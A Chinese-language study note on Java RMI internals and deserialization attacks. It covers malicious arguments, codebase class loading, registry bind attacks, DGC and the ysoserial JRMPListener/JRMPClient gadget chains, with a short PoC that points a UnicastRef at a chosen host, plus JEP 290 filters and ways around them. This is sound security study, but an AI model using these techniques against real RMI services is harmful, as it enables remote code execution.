Java Sec —— RMI
最后更新时间:
Java 学习笔记——RMI
0x00. BackGround
RMI (Remote Method Invocation) 远程方法调用
RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试 图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。
可以看到,RMI 整个通信方式与邮件发送与接收所经过的协议流程类似
RMI 所支持的特性:
动态类加载
RMI 支持动态类加载,如果设置了
java.rmi.server.codebase
,则会尝试从其中的地址获取.class
并加载及反序列化设置方法:
开启 RMI 安全策略管理并配置对应的策略文件
System.setProperty("java.rmi.server.codebase","[http://127.0.0.1:9999/](http://127.0.0.1:9999/)");
使用启动参数
-Djava.rmi.server.codebase="http://127.0.0.1:9999/"
进行指定
0x01. 源码解析
测试 demo
Java code for Server side
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public class RemoteServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
startReg();
// 创建远程对象
RemoteInterface remoteObject = new RemoteObject();
// 绑定
Naming.bind("rmi://localhost:1099/Hello", remoteObject);
}
public static void startReg() {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}Java code for Client side
1
2
3
4
5
6
7
8
9
10
11
12
13
14public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
// sun.rmi.registry.RegistryImpl_Stub
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
System.out.println(Arrays.toString(registry.list()));
// lookup and call
RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}Java code for Remote object Interface
1
2
3
4
5
6
7public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}Java code for Remote object Implementation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}
流程分析
服务注册
1. 远程对象创建
起始于:RemoteInterface remoteObject = new RemoteObject();
其继承于父类 UnicastRemoteObject
因此初始化时会调用其构造函数, port 默认为 0,并继续调用 exportObject
方法
这里可以看到在 export 自身的同时,还会新建 UnicastServerRef 实例,这个东西内部会进一步创建一个 LiveRef 对象,由随机数+端口进行标识
跟进发现,它还会继续调用 TCPEndpoint.getLocalEndpoint(var2)
其中会初始化网络通信所需的 host port 等信息
最终将 TCPEndpoint 实例赋值到 LiveRef 的 ep 字段中
回到主线,Remote 对象会进一步通过 UnicastServerRef 实例进行 export
可以看到该 UnicastRef
实例所存的就是之前保存了网络通信信息的 LiveRef
跟进可以看到,首先创建了一个以 “_Stub” 为后缀的类实例(构造函数参数为包含已初始化LiveRef
的 UnicastRef
实例)
其次为 Remote 对象创建了动态代理(利用 RemoteObjectInvocationHandler
)
对于 RemoteObjectInvocationHandler
其 invoke 方法,当待调用代理方法非 Object 声明,并且方法名不是 finalize 时,会调用 invokeRemoteMethod
这里可以看到实际上真正调用的是 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long)
该方法会获取 LiveRef 当中的网络通信信息,创建连接,执行调用,并获取结果执行 unmarshalValue
进一步执行原生反序列化
回到 createProxy 方法,,将动态代理和 Remote 实例封装到 Target 类当中之后调用 sun.rmi.transport.LiveRef#exportObject
方法,其会进一步调用 TCPTransport#exportObject
来监听端口
注意到之后会将 Target 实例通过 sun.rmi.transport.Transport#exportObject
放到 ObjectTable 中
该 ObjectTable 内部通过 HashMap 管理所有 Target 实例,支持通过 ObjectEndpoint 和 WeakRef 进行索引
2. 注册中心创建
起始于 LocateRegistry.createRegistry(1099);
首先调用 RegistryImpl 构造函数,根据端口是否指定 1099 进入不同控制分支,但都会创建 LiveRef 通讯实例以及 UnicastServerRef 对象。接下来调用 setup 方法
后者跟进 UnicastServerRef#exportObject
第一个参数为当前类实例 RegistryImpl
后续流程同样走到 sun.rmi.server.Util#createProxy
不同点在于这里 stubClassExists 方法 withoutStubs
map 是空的,因此会成功创建 RegistryImpl_Stub
实例并返回,不再进一步向下创建动态代理
RegistryImpl_Stub
类继承于 RemoteStub
并实现了一系列 bind list lookup 等服务操作 API
与服务注册时使用的 RemoteObjectInvocationHandler
类似,其通信时数据传输也是通过直接序列化实现
后续注册中心就会调用 setSkeleton
方法设置服务端 skeleton,可以看到实际会通过反射创建 RegistryImpl_Skel
实例,设置到 UnicastServerRef 的 skel
字段上
后续流程与创建远程服务对象一致,创建 Target,并设置到 ObjectTable 中
3. 服务注册
通用方法是 registry.bind
服务发现
请求注册中心
体现在 LocateRegistry.getRegistry()
「服务端行为」:
首先创建了一个包含注册中心通信地址的 RegistryImpl_Stub 对象;
接下来调用 bind 方法进行服务对象和命名绑定时实际会调用 sun.rmi.registry.RegistryImpl_Stub#bind
方法,首先通过父类 UnicastRef 上设置好通讯地址的 ref 字段来调用 sun.rmi.server.UnicastRef#newCall
这里就是简单通过 UnicastRef#newCall 与注册中心建立连接,后续直接写入输出流,写入方法名和远程实例
服务调用
以客户端获取到注册中心后,调用 lookup 寻找指定命名的 RMI 服务为例
过程很简单,建立连接、序列化服务名称并写入输出流、获取到输入流并执行反序列化
Registry 端/服务端表现位于 RegistryImpl_Skel
的 dispatch 方法
整体流程框架
0x02. Attack
1. 攻击 Server 端
恶意服务参数
发生在客户端调用远程服务对象的方法时,通过获取到的远程代理,传输序列化的方法名(SHA1 based hash)及参数
一般情况下,若远程服务接口对应的方法参数类型为 Object,则可以直接构造任意的序列化数据造成 RCE Attack
但是若不知道方法参数具体类型,仍想要传输任意类型的序列化数据,该怎么办?
TODO 📭
基本思路就是利用 agent 等方式,hook 住 RemoteObjectInvocationHandler 的
invokeRemoteMethod
方法方法,也就是客户端在利用代理,调用服务端对象方法时,参数类型传递时动态修改为指定要求的类型即可动态类加载
==「适用版本」==6u45/7u21
条件:SecurityManager +
java.rmi.server.useCodebaseOnly=false
position: 反序列化操作发生在服务端接收响应客户端发来的网络请求时,调用的
sun.rmi.server.UnicastServerRef#dispatch
方法,序列化输入流由MarshalInputStream
封装,期间执行 resolveClass 检查序列化数据其 var5 反序列化得到指定 codebase url 地址,同时想要真正执行类加载,还需要满足 useCodebaseOnly 为 false,这也是为什么存在版本限制(6u45/7u21 默认为 false)
重点在于 codebase 地址可以被双方控制
2. 攻击 Registry 端
以 bind 为例,注册端知道会使用 sun.rmi.registry.RegistryImpl_Skel#dispatch
来接收服务端发来的序列化的服务名称以及远程代理对象,并通过 RegistryImpl
的 bind 方法保存在 bindings HashTable 中
因此这里可以直接传递恶意的序列化远程代理类,在注册端反序列化时 RCE
具体的实践:yso_RMIRegistryExploit
yso 中以 CC1 为例,获取到 CC1 恶意 gadget 后,创建 Remote 代理(利用的 handler 是 AnnotationInvocationHandler,将 payload 设置到 handler 的 map 中,反序列化时伴随着触发),之后通过 bind 序列化传递
3. 攻击 DGC
Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理。
DGC 在客户端接收服务端返回的远程对象调用同时,会创建 DGCImpl_Stub 以及 DCGImpl_Skel 来维护远程对象的引用
==「DCGImpl_Skel#dispatch」==:监听请求
==「DGCImpl_Stub#dirty/clean 更新/回收引用对象」==:
武器化Exploit: ysoserial —— JRMP
JRMP Listener module
本质是一条反序列化 Gadget ,可以达到在本地指定端口开启 JRMP 协议的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/作用大致就是类似反连平台,可以自动响应连接请求,并返回指定的序列化数据
==「Gadget 构造」==:
首先看下用到的类,首先拿到
RemoteObject
的构造函数(参数类型为RemoteRef
, 参数实例传递子类 UnicastServerRef,并指定端口)之后会调用
sun.reflect.ReflectionFactory#newConstructorForSerialization
传入 var1 代表ActivationGroupImpl
class,var2 代表指定RemoteObject
构造器,当 var2 的声明类非 var1 时,会去创建序列化构造函数(ActivationGroupImpl
类)这里的作用实际创建一个序列化构造函数,允许在反序列化时调用构造函数来创建新的对象实例
如果想在反序列化时执行一些特殊的初始化或处理步骤,可以在类中定义一个特殊的构造函数,然后在该构造函数中执行这些操作。但请确保这个构造函数是
public
的且没有参数。最终返回的是
ActivationGroupImpl
实例,向上转型为UnicastRemoteObject
(好神奇最后反射设置字段
port
为指定端口==「Gadget 反序列化分析」==:
回忆
UnicastRemoteObject
的作用java.rmi.server.UnicastRemoteObject
类通常是远程调用接口实现类的父类,或直接使用其静态方法exportObject
来创建动态代理并随机监听本机端口以提供服务。也就是我们在创建远程服务对象时声明其为父类的那个
readObject 方法中会执行 reexport()
之后指定端口 exportObject
export 过程中创建 UnicastServerRef 网络通信实例
之后的分析与前面一致了就,势必会打开指定端口的 JRMP 协议,监听请求,期间的网络传输数据采用序列化格式
那么
ActivationGroupImpl
在这里的作用是什么?这里不是很懂,应该是父类 UnicastRemoteObject 构造函数无法直接构造,或者使用 UnSafe 来构造也可以
JRMP JRMPClient(payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)入口点从任意一个继承父类 RemoteObject 的对象开始,父类的 readObject 方法会进一步调用 ref 字段的 readExternal 方法
sun.rmi.server.UnicastRef#readExternal
这里会调用[LiveRef.*read](http://LiveRef.read)
* 来恢复创建 ref 字段的通信实例创建 TCPEndpoint 之后,会进一步调用
DGCClient.*registerRefs*
其中会循环获取所有通信节点,调用
EndpointEntry#registerRefs
最后调用makeDirtyCall
最后触发 DGC 的 dirty 操作
因此可以看出,在 UnicastRef 进行反序列化时,会触发 DGC 通信及 dirty 方法调用,此时如果与一个恶意服务通信,返回恶意数据流,则会造成反序列化漏洞。
yso 项目中使用的是
RemoteObjectInvocationHandler
作为 handler,封装成Registry
的代理类利用:利用
JRMPClient
这个Gadget去调用JRMPListener
,然后JRMPListener
利用CommonsCollections
这个Gadget来实现RCE。精简版
因为
RemoteObjectInvocationHandler
动态代理Registry
接口形成的这个 Registry 已经后续被列入黑名单了,因此需要绕过。缩短链子
我们知道上一条链子中
UnicastRef
实现了Externalizable
接口,因此可以直接反序列化并调用重写readExternal
方法,进而触发和前述一样的利用链Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public Object getObject(String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
更换代理接口
0x03. JEP 290
提供的机制如下:
(1) 提供一个限制反序列化类的机制,白名单或者黑名单
(2) 限制反序列化的深度和复杂度
(3) 为 RMI 远程调用对象(exportObject)提供了一个验证类的机制
(4) 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器
版本:
JEP 290 主要是在
ObjectInputStream
类中增加了一个serialFilter
属性和一个filterChcek
函数,其中serialFilter
就可以理解为过滤器。
在ObjectInputStream
对象进行readObject
的时候,内部会调用filterChcek
方法进行检查,filterCheck
方法中会对`serialFilter
属性进行判断,如果不是null
,就会调用serialFilter.checkInput
方法进行过滤。
设置过滤器本质就是设置ObjectInputStream
的serialFilter
字段值,设置过滤器可以分为设置全局过滤器和设置局部过滤器:
- 设置全局过滤器是指,通过修改
Config.serialFilter
这个静态字段的值来达到设置所有ObjectInputStream
对象的serialFilter
值 。具体原因是因为ObjectInputStream
的构造函数会读取Config.serialFilter
的值赋值到自己的serialFilter
字段上,所有就会导致所有new
出来的ObjectInputStream
对象的serailFilter
都为Config.serialFilter
的值。- 设置局部过滤器是指,在
new
ObjectInputStream
的之后,再修改单个ObjectInputStream
对象的serialFilter
字段值
JEP290 机制,实际可以通过 JVM 穿参数或者配置文件的方式来设置防御规则,RMI 可采用默认白名单的防御规则。规则传入为字符串形式,在 Global
类的构造函数中进行解析,具体解析逻辑如下所示
解析之后返回并设置到 ObjectInputFilter 类的 configuredFilter
字段上,当 ObjectInputStream 在初始化时,便会获取到 configuredFilter
字段上的实例,并设置到输入流的 serialFilter 字段之上。当进行 readObject 之前会自动触发 filterCheck
方法,进而 serialFilter 非空时调用 serialFilter.checkInput
枚举输入流中的类与规则进行匹配,进行合法性校验
「RMI 中 JEP290 机制的实现」:
RegistryImpl 在构造函数中,伴随着 UnicastServerRef2
的初始化,会通过 lambda 表达式以及方法引用的方式设置 RMI 的默认 JEP290 防御规则
上图是 RegistryImpl 的 registryFilter
这个静态常量字段通过 JVM 传参或者配置文件的方式来设置过滤器
下图可以看到如果 registryFilter
为空,或者 checkInput 方法返回 Status.UNDECIDED 字面量的话则会采用 RMI 默认的 JEP 防御规则。
在服务端后续处理序列化数据请求(匹配 RegistryImpl 对应的 ObjID)时,可以看到 RMI 通过 Config.setObjectInputFilter 的方式设置 RMI 局部过滤器,
DGCImpl 与 RegistryImpl 设置过滤器的方式基本一致
RMI JEP290 绕过
case1: 如果服务端”绑定”了一个对象,他的方法参数类型是
Object
类型的方法时,则可以绕过 JEP 290本质:普通对象在 exportRemoteObject 时,不会像 RegistryImpl 和 DGCImpl 一样,注册带有初始化好的 filter 到 UnicastServerRef 上,进而在导出并封装到 Target 的过程中, disp 实际时 filter 字段为 null 的 UnicastServerRef。
因此,后续在根据 ObjId 从 ObjectTable 中获取 Target 后 disp 后,再进行 dispatch 过程,上述的 unmarshalCustomCallData 方法由于 filter 为 null 因此会直接返回 null, 进而调用 unmarshalValue 方法触发原生反序列化的 source,不再进行 filterChcek 等类检查操作,绕过了 JEP 290 限制
case2: 对于方法参数类型是由 Object 类型引申类型(如 String),可如下操作:
将 java.rmi 软件包的代码复制到新软件包,然后在其中更改代码
将调试器附加到正在运行的客户端,并在序列化对象之前替换对象
- 使用 Javassist 之类的工具更改字节码
- 通过实现代理来替换网络流上已经序列化的对象
0x04. Extension
Pentest
Discovery
nmap 服务发现,支持 RMI 注册端口探测、接口探测以及具体代理实现的位置探测
easycve
我们在远程复现时会遇到一个 trick:RMI 默认获取的 IP 地址为主机网卡的地址,而非浏览器上显示的公网地址,因此可能会出现服务端对象无法调用的情况,可以利用 debugger 或者反射修改一下 LiveRef 字段 ep 属性中的 host 值
参考链接
[1] https://su18.org/post/rmi-attack/